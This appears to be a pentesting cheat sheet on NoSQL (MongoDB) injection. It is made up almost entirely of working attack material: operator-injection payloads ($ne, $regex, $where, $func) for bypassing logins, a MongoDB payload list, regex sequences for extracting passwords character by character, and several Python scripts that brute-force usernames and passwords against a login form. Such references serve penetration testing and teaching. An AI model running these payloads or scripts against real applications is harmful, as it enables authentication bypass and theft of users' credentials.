NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

"user":{"$func": "var_dump"}

Blind NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

MongoDB Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Tools

• https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

Brute-force login usernames and passwords from POST login

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

References

453KB

en-nosql-no-injection-ron-shulman-peleg-bronshtein-1.pdf

pdf

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection